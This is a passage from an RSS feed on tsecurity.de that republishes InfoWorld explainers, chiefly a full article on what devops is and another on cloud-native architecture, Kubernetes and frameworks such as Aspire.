<p class="wp-block-paragraph">This certification from HashiCorp is for cloud engineers specializing in operations, IT, or development who know the basic concepts and skills associated with Terraform. It validates foundational skills in using <a href="https://www.infoworld.com/article/3893387/how-terraform-is-evolving-infrastructure-as-code.html">Terraform</a> for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> development.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is devops? Bringing dev and ops together to build better software]]></title>
<description><![CDATA[A portmanteau of “development” and “operations,” devops emerged as a way of bringing together two previously separate groups responsible for the building and deploying of software.



In the old world, developers (devs) typically wrote code before throwing it over to the system administrators (op...]]></description>
<link>https://tsecurity.de/de/3665673/ai-nachrichten/what-is-devops-bringing-dev-and-ops-together-to-build-better-software/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665673/ai-nachrichten/what-is-devops-bringing-dev-and-ops-together-to-build-better-software/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A portmanteau of “development” and “operations,” devops emerged as a way of bringing together two previously separate groups responsible for the building and deploying of software.</p>



<p class="wp-block-paragraph">In the old world, developers (devs) typically wrote code before throwing it over to the system administrators (operations, or ops) to deploy and integrate that code. But as the industry shifted towards <a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">agile development</a> and <a href="https://www.infoworld.com/article/2255318/what-is-cloud-native-the-modern-way-to-develop-software.html">cloud-native computing</a>, many organizations reoriented around modern, cloud-native practices in the pursuit of faster, better releases.</p>



<p class="wp-block-paragraph">This required a new way to perform these key functions in a more streamlined, efficient, and cohesive way, one where the old frustrations of disconnected dev and ops functions would be eliminated. With two groups working together, developers can rapidly roll out small code enhancements via <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration and delivery</a> rather than spending years on “big bang” product releases.</p>



<p class="wp-block-paragraph">Devops was born at cloud-native companies like Facebook, Netflix, Spotify, and Amazon; but it’s become one of the defining technology industry trends of the past decade, primarily because it bridges so many of the changes that have shaped modern software development.</p>



<p class="wp-block-paragraph">As agile development and cloud-native computing have become ubiquitous, devops has enabled the entire industry to speed up its software development cycles. Thus, devops has now thoroughly infiltrated the enterprise, especially in organizations that rely on software to run their business, such as banks, airlines, and retailers. <a>And it’s spawned a host of other “ops” practices, some of which we’ll touch on here.</a><a href="https://www.infoworld.com/article/2255028/what-is-devops-bringing-dev-and-ops-together-for-better-software.html#_msocom_1">[JF1]</a> </p>



<h2 class="wp-block-heading"><strong>Devops practices</strong></h2>



<p class="wp-block-paragraph">Devops requires a shift in mindset from both sides of the dev and ops divide. Development teams should focus on learning and adopting agile processes, standardizing platforms, and helping drive operational efficiencies. Operations teams must now focus on improving stability and velocity, while also reducing costs by working hand in hand with the developer team.</p>



<p class="wp-block-paragraph">Broadly speaking, these teams need to all speak a common language and there needs to be a shared goal and understanding of each other’s key skills for devops to thrive.</p>



<p class="wp-block-paragraph">More specifically, engineers Damon Edwards and John Willis <a href="https://www.devopsgroup.com/insights/resources/diagrams/all/calms-model-of-devops/">created the CALMS model</a> to bring together what are commonly understood to be the key principles of devops:</p>



<ul class="wp-block-list">
<li>Culture: One that embraces <a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">agile methodologies</a> and is open to change, constant improvement, and accountability for the end-to-end quality of software.</li>



<li>Automation: Automating away toil is a key goal for any devops team.</li>



<li>Lean: Ensuring the smooth flow of software through key steps as quickly as possible.</li>



<li>Measurement: You can’t improve what you don’t measure. Devops pushes for a culture of constant measurement and feedback that can be used to improve and pivot as required, on the fly.</li>



<li>Sharing: Knowledge sharing across an organization is a key tenet of devops.</li>
</ul>



<p class="wp-block-paragraph">“Who could go back to the old way of trying to figure out how to get your laptop environment looking the same as the production environment? All these things make it so clear that there’s a better way to work. I think it’s very tough to turn back once you’ve done things like continuous integration, like continuous delivery. Once you’ve experienced it, it’s really tough to go back to the old way of doing things,” Kim <a href="https://www.infoworld.com/article/2258333/devops-expert-gene-kim-how-devops-helps-business-meet-challenging-times.html">told InfoWorld</a>.</p>



<h2 class="wp-block-heading"><strong>What is a devops engineer?</strong></h2>



<p class="wp-block-paragraph">Naturally, the emergence of devops has spawned a whole new set of job titles, most prominent of which is the catch-all <a href="https://www.infoworld.com/article/2259407/what-is-a-devops-engineer-and-how-do-you-become-one.html">devops engineer</a>.</p>



<p class="wp-block-paragraph">Generally speaking, this role is the natural evolution of the system administrator — but in a world where developers and ops work in close tandem to deliver better software. This person should have a blend of programming and system administrator skills so that he or she can effectively bridge those two sides of the team.</p>



<p class="wp-block-paragraph">That bridging of the two sides requires strong social skills more than technical. As Kim put it, “one of the most important skills, abilities, traits needed in these pioneering rebellions — using devops to overthrow the ancient powerful order, who are very happy to do things the way they have for 30 to 40 years — are the cross-functional skills to be able to reach across the table to their business counterparts and help solve problems.”</p>



<p class="wp-block-paragraph">This person, or team of people, will also have to be a born optimizer, tasked with continually improving the speed and quality of software delivery from the team, be that through better practices, removing bottlenecks, or applying automation to smooth out software delivery.</p>



<p class="wp-block-paragraph">The good news is that these skills are valuable to the enterprise. <a href="https://www.infoworld.com/article/2263101/devops-salaries-continued-to-rise-during-the-pandemic.html">Salaries for this set of job titles have risen steadily over the years</a>, with 95% of devops practitioners making more than $75,000 a year in salary in 2020 in the United States. In Europe and the UK, where salaries are lower across the board, 71% made more than $50,000 a year in 2020, up from 67% in 2019.</p>



<h2 class="wp-block-heading"><strong>Key devops tools</strong></h2>



<p class="wp-block-paragraph">While devops is at its heart a cultural shift, a set of tools has emerged to help organizations adopt devops practices.</p>



<p class="wp-block-paragraph">This stack typically includes <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a>, configuration management, collaboration, version control, <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration and delivery (CI/CD)</a>, deployment automation, testing, and monitoring tools.</p>



<p class="wp-block-paragraph">Here are some of the tools/categories that are increasingly relevant in 2025, and what is changing:</p>



<ul class="wp-block-list">
<li><strong>CI/CD and delivery automation</strong>: Traditional tools like Jenkins remain in many stacks, but newer orchestration tools and CLI-driven or GitOps-centric platforms are growing in importance (e.g. ArgoCD, Flux, Tekton). Also, platforms that integrate more tightly with monitoring, secrets management, drift detection, and policy enforcement are gaining traction.</li>



<li><strong>Security, compliance, and devsecops tooling</strong>: Security tools are increasingly integrated into devops pipelines. Expect to see more use of static analysis (SAST), dynamic testing (DAST), dependency and supply chain scanning (SCA), secret management, and policy as code. The push is toward embedding security earlier and <a href="https://www.infoworld.com/article/3965374/bringing-devops-devsecops-and-mlops-together.html">bridging gaps between dev, security, and machine learning teams</a>. (InfoWorld:)</li>



<li><strong>AI  and automation augmentation</strong>: AI-assisted tools are increasingly part of tooling stacks: auto-suggestions in CI/CD, anomaly detection, predictive scaling, intelligent test suite selection, and more. The hope is that these tools will reduce manual interventions and improve reliability. Tools that are “AI ready”—that is, they integrate well with AI or have mature built-in automation or assistance—increasingly <a href="https://www.infoworld.com/article/4052402/how-to-choose-the-right-ai-agent-development-tools.html">stand out from the pack</a>.</li>
</ul>



<h2 class="wp-block-heading"><strong>Devops challenges</strong></h2>



<p class="wp-block-paragraph">Even as devops becomes more widely adopted, there remain real obstacles that can slow progress or limit impact. One major challenge is the persistent <strong>skills gap</strong>. The modern devops engineer (or team) is expected to master not just source control, CI/CD, and scripting, but also cloud architecture, infrastructure as code, security best practices, observability, and strong cross-team communication. In many organizations these capabilities are uneven: some teams excel, others lag behind. A 2024 survey showed that while 83% of developers report participating in devops activities, <a href="https://www.infoworld.com/article/2337172/most-developers-have-adopted-devops-survey-says.html">using multiple CI/CD tools was correlated with <em>worse</em> performance</a> — a sign that complexity without deep expertise can backfire.</p>



<p class="wp-block-paragraph"><strong>Toolchain fragmentation and complexity </strong>is a related issue. Devops toolchains have sprouted into a sometimes bewildering array of packages and techniques to master: version control, CI build/test, security scanning, artifact management, monitoring, observability, deployment, secret management, and more.</p>



<p class="wp-block-paragraph">The more tools you have, the more difficult it becomes to integrate them cleanly, manage their versions, ensure compatibility, and avoid duplicated effort. Organizations often get stuck with “tool sprawl” — tools chosen by different teams, legacy systems, or overlapping functionalities — which introduce friction, maintenance burden, and sometimes vulnerabilities.</p>



<p class="wp-block-paragraph">Finally, although devops has spread far and wide, there is still <strong>cultural resistance and alignment</strong>. Devops isn’t just about tools and processes; it’s about collaboration, shared responsibility, and continuous feedback. Teams rooted in traditional silos (dev vs ops, or security separate) may <a href="https://www.infoworld.com/article/2337372/10-big-devops-mistakes-and-how-to-avoid-them.html">resist changes to roles and workflows</a>. Leadership support, communication of shared goals, trust, and allowance for continuous learning are all necessary.</p>



<p class="wp-block-paragraph">Many CIOs <a href="https://www.cio.com/article/3552944/6-enterprise-devops-mistakes-to-avoid.html">focus too much on tools or implementation first</a>, rather than organizational culture and behaviors; but without addressing culture, even the best tools or processes may not yield the hoped-for velocity, quality, or reliability. Organizations that succeed here tend to have proactive strategies: dedicated training programs, mentorship, internal “guilds,” pairing junior and senior engineers, and making sure leadership supports ongoing learning rather than one-off bootcamps.</p>



<h2 class="wp-block-heading"><strong>Why do devops?</strong></h2>



<p class="wp-block-paragraph">Whoever you ask will tell you that devops is a major culture shift for organizations, so why go through that pain at all?</p>



<p class="wp-block-paragraph">Devops aims to combine the formerly conflicting aims of developers and system administrators. Under its principles, all software development aims to meet business demands, add functionality, and improve the usability of applications while also ensuring those applications are stable, secure, and reliable. Done right, this improves the velocity and quality of your output, while also improving the lives of those working on these outcomes.</p>



<h2 class="wp-block-heading"><strong>Does devops save money — or add cost?</strong></h2>



<p class="wp-block-paragraph">Devops teams are recognizing that speed and agility are only part of success — unchecked cloud bills and waste undermine long-term sustainability. Waste in devops often comes in the form of “<a href="https://www.infoworld.com/article/4010176/devops-debt-the-hidden-tax-on-innovation.html?utm_source=chatgpt.com">devops</a> debt”— idle cloud capacity, dead code, or false-positive security alerts—which was called a “<a href="https://www.infoworld.com/article/4010176/devops-debt-the-hidden-tax-on-innovation.html">hidden tax on innovation</a>” in recent Java-environment studies.</p>



<p class="wp-block-paragraph"> Embedding <a href="https://www.cio.com/article/3839075/finops-breaks-out-of-the-cloud.html">finops</a> practices can help fight these costs. Teams should <a href="https://www.infoworld.com/article/4013485/how-to-shift-left-on-finops-and-why-you-need-to.html">shift left on cost</a>: estimating costs when spinning up new environments, resizing instances, and scaling down unused resources before they become runaway expenses.</p>



<h2 class="wp-block-heading"><strong>How to start with devops</strong></h2>



<p class="wp-block-paragraph">There are lots of resources for help getting started with devops, <a href="https://www.amazon.com/DevOps-Handbook-World-Class-Reliability-Organizations-ebook/dp/B01M9ASFQ3">including Kim’s own <em>Devops Handbook</em></a>, or you can enlist the help of external consultants. But you have to be methodical and focus on your people more than on the tools and technology you will eventually use <a href="https://www.infoworld.com/article/2258896/6-ways-to-secure-buy-in-for-your-devops-journey.html">if you want to ensure lasting buy-in across the business</a>.</p>



<p class="wp-block-paragraph">A proven route to achieving this is a “land and expand” strategy, where a small group starts by mapping key value streams and identifying a single product team or workload for trialing devops practices. If this team is successful in proving the value of the shift, you will likely start to get interest from other teams and from senior leadership.</p>



<p class="wp-block-paragraph">If you are at the start of your devops journey, however, make sure you are prepared for the disruption a change like this can have on your organization, and keep your eye on the prize of building better, faster, stronger software.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p class="wp-block-paragraph"><a></a></p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">More on devops:</p>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/4010176/devops-debt-the-hidden-tax-on-innovation.html">Devops debt: The hidden tax on innovation</a></li>



<li><a href="https://www.infoworld.com/article/2337372/10-big-devops-mistakes-and-how-to-avoid-them.html">10 big devops mistakes and how to avoid them</a></li>



<li><a href="https://www.infoworld.com/article/3621681/smarter-devops-how-to-avoid-deployment-horrors.html">Smarter devops: How to avoid deployment horrors</a><div class="card__info"></div></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloud native explained: How to build scalable, resilient applications]]></title>
<description><![CDATA[What is cloud native? Cloud native defined



The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the speci...]]></description>
<link>https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading"><strong>What is cloud native? Cloud native defined</strong></h2>



<p class="wp-block-paragraph">The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the specific architecture choices and environments used to build applications for the public cloud, but also the software engineering techniques and philosophies used by cloud developers.</p>



<p class="wp-block-paragraph">The <a href="https://www.cncf.io/">Cloud Native Computing Foundation</a> (CNCF) is an open source organization that hosts many important cloud-related projects and helps set the tone for the world of cloud development. The CNCF offers its own definition of cloud native:</p>



<p class="wp-block-paragraph"><em>Cloud native practices empower organizations to develop, build, and deploy workloads in computing environments (public, private, hybrid cloud) to meet their organizational needs at scale in a programmatic and repeatable manner. It is characterized by loosely coupled systems that interoperate in a manner that is secure, resilient, manageable, sustainable, and observable.</em></p>



<p class="wp-block-paragraph"><em>Cloud native technologies and architectures typically consist of some combination of containers, service meshes, multi-tenancy, microservices, immutable infrastructure, serverless, and declarative APIs — this list is not exhaustive.</em></p>



<p class="wp-block-paragraph">This definition is a good start, but as cloud infrastructure becomes ubiquitous, the cloud native world is beginning to spread behind the core of this definition. We’ll explore that evolution as well, and look into the near future of cloud-native computing.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<h2 class="wp-block-heading"><strong>Cloud native architectural principles</strong></h2>



<p class="wp-block-paragraph">Let’s start by exploring the pillars of cloud-native architecture. Many of these technologies and techniques were considered innovative and even revolutionary when they hit the market over the past few decades, but now have become widely accepted across the software development landscape.</p>



<p class="wp-block-paragraph"><strong>Microservices. </strong>One of the huge cultural shifts that made cloud-native computing possible was the move from huge, monolithic applications to <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>: small, loosely coupled, and independently deployable components that work together to form a cloud-native application. These microservices can be scaled across cloud environments, though (as we’ll see in a moment) this makes systems more complex.</p>



<p class="wp-block-paragraph"><strong>Containers and orchestration. </strong>In could-native architectures, individual microservices are executed inside <em>containers </em>— lightweight, portable virtual execution environments that can run on a variety of servers and cloud platforms. Containers insulate the developers from having to worry about the underlying machines on which their code will execute. That is, all they have to do is write to the container environment. </p>



<p class="wp-block-paragraph">Getting the containers to run properly and communicate with one another is where the complexity of cloud native computing starts to emerge. Initially, containers were created and managed by relatively simple platforms, the most common of which was <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a>. But as cloud-native applications got more complex, container orchestration platforms<em> </em>that augmented Docker’s functionality emerged, such as Kubernetes, which allows you to deploy and manage multi-container applications at scale. Kubernetes is critical to cloud native computing as we know it — it’s worth noting that the CNCF was set up as a <a href="https://www.zdnet.com/article/cloud-native-computing-foundation-seeks-to-bring-more-cloud-and-container-unity/">spinoff of the Linux Foundation on the same day that Kubernetes 1.0 was announced</a> — and adhering to <a href="https://www.infoworld.com/article/2338688/6-best-practices-to-keep-kubernetes-costs-under-control.html">Kubernetes best practices</a> is an important key to cloud native success. </p>



<p class="wp-block-paragraph"><strong>Open standards and APIs. </strong>The fact that containers and cloud platforms are largely defined by open standards and <a href="https://www.infoworld.com/article/3800992/open-source-trends-for-2025-and-beyond.html">open source technologies</a> is the secret sauce that makes all this modularity and orchestration possible, and <a href="https://www.infoworld.com/article/3529600/how-do-you-govern-a-sprawling-disparate-api-portfolio.html">standardized and documented APIs </a>offer the means of communication between distributed components of a larger application. In theory, anyway, this standardization means that every component should be able to communicate with other components of an application without knowing about their inner workings, or about the inner workings of the various platform layers on which everything operates.</p>



<p class="wp-block-paragraph"><strong>DevOps, agile methodologies, and infrastructure as code. </strong>Because cloud-native applications exist as a series of small, discrete units of functionality, cloud-native teams can build and update them using agile philosophies like <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">DevOps</a>, which promotes <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">rapid, iterative CI/CD development</a>. This enables teams to deliver business value more quickly and more reliably.</p>



<p class="wp-block-paragraph">The virtualized nature of cloud environments also make them great candidates for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> (IaC), a practice in which teams use tools like <a href="https://developer.hashicorp.com/terraform/intro">Terraform</a>, <a href="https://www.pulumi.com/">Pulumi</a>, and <a href="https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html">AWS CloudFormation</a>, to manage infrastructure declaratively and version those declarations just like application code. IaC boosts automation, repeatability, and resilience across environments—all big advantages in the cloud world. IaC also goes hand-in-hand with the concept of <em>immutable infrastructure</em>—the idea that, once deployed, infastructure-level entities like virtual machines, containers, or network appliances don’t change, which makes them easier to manage and secure. IaC stores declarative configuration code in version control, which creates an audit log of any changes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/04/5_things_cloud_native.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart listing five things to love and five things to fear when considiering cloud native" class="wp-image-3970036" width="1024" height="472" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>There’s a lot to love about cloud-native architectures, but there are also several things to be wary of when considering it.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<h2 class="wp-block-heading"><strong>How the cloud-native stack is expanding</strong></h2>



<p class="wp-block-paragraph">As cloud-native development becomes the norm, the cloud-native ecosystem is expanding; the CNCF maintains a graphical representation of what it calls the  <a href="https://landscape.cncf.io/">cloud native landscape</a> that hammers home to expansive and bewildering variety of products, services, and open source projects that contribute to (and seek to profit from) to cloud-native computing. And there are a number of areas where new and developing tools are complicating the picture sketched out by the pillars we discussed above.   </p>



<p class="wp-block-paragraph"><strong>An expanding Kubernetes ecosystem.</strong> <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes </a>is complex, and teams now rely on an <a href="https://www.infoworld.com/article/2265338/13-tools-that-make-kubernetes-better.html">entire ecosystem of projects </a>to get the most out of it: <a href="https://www.infoworld.com/article/2264445/helm-3-package-manager-arrives-for-kubernetes.html">Helm</a> for packaging, <a href="https://argo-cd.readthedocs.io/en/stable/">ArgoCD </a>for GitOps-style deployments, and <a href="https://kustomize.io/">Kustomize </a>for configuration management. And just as Kubernetes augmented Docker for enterprise-scale deployments. Kubernetes itself has been augmented and expanded by <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">service mesh</a> offerings like <a href="https://istio.io/">Istio </a>and <a href="https://linkerd.io/">Linkerd</a><strong>, </strong>which offer fine-grained traffic control and improved security</p>



<p class="wp-block-paragraph"><strong>Observability needs. </strong>The complex and distributed world of cloud-native computing requires in-depth <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a> to ensure that developers and admins have a handle on what’s happening with their applications. <a href="https://www.infoworld.com/article/2337343/what-observability-means-for-cloud-operations.html">Cloud-native observability</a> uses distributed tracing and aggregated logs to provide deep insight into performance and reliability. Tools like <a href="https://www.infoworld.com/article/2246709/prometheus-unbound-open-source-cloud-monitoring.html">Prometheus</a>, <a href="https://www.infoworld.com/article/2337267/grafana-shining-a-light-into-kubernetes-clusters.html">Grafana</a>, <a href="https://www.cncf.io/projects/jaeger/">Jaeger</a>, and <a href="https://opentelemetry.io/">OpenTelemetry</a> support comprehensive, real-time observability across the stack.</p>



<p class="wp-block-paragraph"><strong>Serverless computing.  </strong><a href="https://www.infoworld.com/article/2261831/what-is-serverless-serverless-computing-explained.html">Serverless computing</a>, particularly in its function-as-a-service guise, offers to strip needed compute resources down to their bare minimum, with functions running on service provider clouds using exactly as much as they need and no more. Because these services can be exposed as endpoints via APIs, they are increasingly integrated into distributed applications, operating side-by-side with functionality provided by containerized microservices. Watch out, though: the big FaaS providers (<a href="https://www.infoworld.com/article/2265860/aws-lambda-tutorial-get-started-with-serverless-computing.html">Amazon</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Microsoft</a>, and <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google</a>) would love to lock you in to their ecosystems.  </p>



<p class="wp-block-paragraph"><strong>FinOps. </strong><a href="http://infoworld.com/article/2238873/what-is-cloud-computing.html">Cloud computing</a> was initially billed as a way to cut costs — no need to pay for an in-house data center that you barely use — but in practice it replaces capex with opex, and sometimes you can run up truly shocking cloud service bills if you aren’t careful. Serverless computing is one way to cut down on those costs, but financial operations, or <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a>, is a more systematic discipline that aims to aligns engineering, finance, and product to optimize cloud spending. <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">FinOps best practices</a> make use of those observability tools to best determine what departments and applications are eating up resources.</p>



<h2 class="wp-block-heading"><strong>How cloud-native architecture is adapting to AI workloads</strong></h2>



<p class="wp-block-paragraph">Enterprises deploy larger AI models and make use of more and more real-time inference services. That’s putting demands on cloud-native systems and forcing them to adapt to remain scalable and reliable.</p>



<p class="wp-block-paragraph">For instance, organizations are <a href="https://www.infoworld.com/article/4057189/the-rise-of-ai-ready-private-clouds.html">re-engineering cloud environments</a> around GPU-accelerated clusters, low-latency networking, and predictable orchestration. These needs align with established cloud-native patterns: containers package AI services consistently, while Kubernetes provides resilient scheduling and horizontal scale for inference workloads that can spike without warning.</p>



<p class="wp-block-paragraph">Kubernetes itself is <a href="https://www.infoworld.com/article/4045563/evolving-kubernetes-for-generative-ai-inference.html">changing to better support AI inference</a>, adding hardware-aware scheduling for GPUs, model-specific autoscaling behavior, and deeper observability into inference pipelines. These enhancements make Kubernetes a more natural platform for serving generative AI workloads.</p>



<p class="wp-block-paragraph">AI’s resource demands are amplifying traditional cloud-native challenges. Observability becomes more complex as inference paths span GPUs, CPUs, vector databases, and distributed storage. <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a> teams contend with cost volatility from training and inference bursts. And security teams must track new risks around model provenance, data access, and supply-chain integrity.</p>



<h2 class="wp-block-heading"><strong>Application frameworks for building distributed cloud-native apps</strong></h2>



<p class="wp-block-paragraph">Microsoft’s Aspire is one of the most visible examples of a shift towards application frameworks to simplify how teams build distributed systems. Opinionated frameworks like Aspire provide structure, observability, and integration out of the box so developer don’t need to stitch together containers, microservices, and orchestration tooling by hand.</p>



<p class="wp-block-paragraph">Aspire in particular is a <a href="https://www.infoworld.com/article/4023638/taking-net-aspire-for-a-spin.html">prescriptive framework for cloud-native applications</a>, bundling containerized services, environment configuration, health checks, and observability into a unified development model. Aspire provides defaults for service-to-service communication, configuration, and deployment, along with a built-in dashboard for visibility across distributed components.</p>



<p class="wp-block-paragraph">While Aspire was originally aligned with Microsoft’s .<a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">NET platform</a>,Redmond now sees it as having a<strong>  </strong><a href="https://www.infoworld.com/article/4085051/aspires-polyglot-future.html?utm_source=chatgpt.com">polyglot future</a>. This positions Aspire as part of a broader trend: frameworks that help teams build cloud-native, service-oriented systems without being locked into a single language ecosystem. Several other frameworks are gaining traction: Dapr provides a portable runtime that abstracts many of the plumbing tasks in cloud-native distributed applications, and Orleans offers an actor-model-based framework for large-scale systems in the .NET world, and Akka gives JVM teams a mature, reactive toolkit for elastic, resilient services.</p>



<h2 class="wp-block-heading"><strong>Frameworks and tools in the expanding cloud-native ecosystem</strong></h2>



<p class="wp-block-paragraph">While frameworks like Aspire simplify how developers compose and structure distributed applications, most cloud-native systems still depend on a broader ecosystem of platforms and operational tooling. This deeper layer is where much of the complexity—and innovation—of cloud-native computing lives, particularly as Kubernetes continues to serve as the industry’s control plane for modern infrastructure.</p>



<p class="wp-block-paragraph">Kubernetes provides the core abstractions for deploying and orchestrating containerized workloads at scale. Managed distributions such as Google Kubernetes Engine (GKE), Amazon EKS, <a href="https://www.infoworld.com/article/4058764/smoother-kubernetes-sailing-with-aks-automatic.html">Azure AKS</a>, and Red Hat OpenShift build on these primitives with security, lifecycle automation, and enterprise support. Platform vendors are increasingly automating cluster operations—upgrades, scaling, remediation—to reduce the operational burden on engineering teams.</p>



<p class="wp-block-paragraph">Surrounding Kubernetes is a rapidly expanding ecosystem of complementary frameworks and tools. <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">Service meshes</a> like Istio and Linkerd provide fine-grained traffic management, policy enforcement, and mTLS-based security across microservices. <a href="https://www.infoworld.com/article/2259088/what-is-gitops-extending-devops-to-kubernetes-and-beyond.html">GitOps</a> platforms such as Argo CD and Flux bring declarative, version-controlled deployments to cloud-native environments. Meanwhile, projects like Crossplane turn Kubernetes into a universal control plane for cloud infrastructure, letting teams provision databases, queues, and storage through familiar Kubernetes APIs. These tools illustrate how cloud-native development now spans multiple layers: developer-focused application frameworks like Aspire at the top, and a powerful, evolving Kubernetes ecosystem underneath that keeps modern distributed applications running.</p>



<h2 class="wp-block-heading"><strong>Advantages and challenges for cloud-native development</strong></h2>



<p class="wp-block-paragraph">Cloud native has become so ubiquitous that its advantages are almost taken for granted at this point, but it’s worth reflecting on the beneficial shift the cloud native paradigm represents. Huge, monolithic codebases that saw updates rolled out once every couple of years have been replaced by microservice-based applications that can be improved continuously. Cloud-based deployments, when managed correctly, make better use of compute resources and allow companies to offer their products as SaaS or PaaS services. </p>



<p class="wp-block-paragraph">But <a href="https://www.infoworld.com/article/2337882/the-downsides-of-cloud-native-solutions.html">cloud-native deployments come with a number of challenges</a>, too:</p>



<ul class="wp-block-list">
<li><strong>Complexity and operational overhead: </strong>You’ll have noticed by now that many of the cloud-native tools we’ve discussed, like service meshes and observability tools, are needed to deal with the complexity of cloud-native applications and environments. Individual microservices are deceptively simple, but coordinating them all in a distributed environment is a big lift.</li>



<li><strong>Security: </strong>More services executing on more machines, communicating by open APIs, all adds up to a bigger attack surface for hackers. <a href="https://www.csoonline.com/article/572501/managing-container-vulnerability-risks-tools-and-best-practices.html">Containers</a> and <a href="https://www.csoonline.com/article/3618243/securing-cloud-native-applications-why-a-comprehensive-api-security-strategy-is-essential.html">APIs</a> each have their own special security needs, and a <a href="https://www.infoworld.com/article/2259477/open-policy-agent-a-general-purpose-policy-engine-for-cloud-native.html">policy engine</a> can be an important tool for imposing a security baseline on a sprawling cloud-native app. <a href="https://www.csoonline.com/article/564095/what-is-devsecops-developing-more-secure-applications.html">DevSecOps</a>, which adds security to DevOps, has become an important cloud-native development practice to try to close these gaps.</li>



<li><strong>Vendor lock-in: </strong>This may come as a surprise, since cloud-native is based on open standards and open source. But there are differences in how the big cloud and serverless providers works, and once you’ve written code with one provider in mind, <a href="https://www.infoworld.com/article/2337012/get-used-to-cloud-vendor-lock-in.html">it can be hard to migrate elsewhere</a>.</li>



<li><strong>A persistent skills gap: </strong>Cloud-native computing and development may have years under its belt at this point, but the number of developers who are truly skilled in this arena is a smaller portion of the workforce than you’d think. Companies <a href="https://www.infoworld.com/article/3484912/a-strategic-road-map-for-navigating-the-cloud-skills-shortage.html">face difficult choices in bridging this skills gap</a>, whether that’s bidding up salaries, working to upskill current workers, or allowing remote work so they can cast a wide net. </li>
</ul>



<h2 class="wp-block-heading">Cloud native in the real world</h2>



<p class="wp-block-paragraph">Cloud native computing is often associated with giants like Netflix, Spotify, Uber, and AirBNB, where many of its technologies were pioneered in the early ’10s. But the CNCF’s <a href="https://www.cncf.io/case-studies/">Case Studies page</a> provides an in-depth look at how cloud native technologies are helping companies. Examples include the following:</p>



<ul class="wp-block-list">
<li>A UK-based payment technology company that can <a href="https://www.cncf.io/case-studies/form3/">switch between data centers and clouds</a> with zero downtime</li>



<li>A software company whose product collects and analyzes data from IoT devices — and can <a href="https://www.cncf.io/case-studies/tempestive/">scale up</a> as the number of gadgets grows</li>



<li>A Czech web service company that managed to <a href="https://www.cncf.io/case-studies/seznam/">improve performance while reducing costs</a> by migrating to the cloud</li>
</ul>



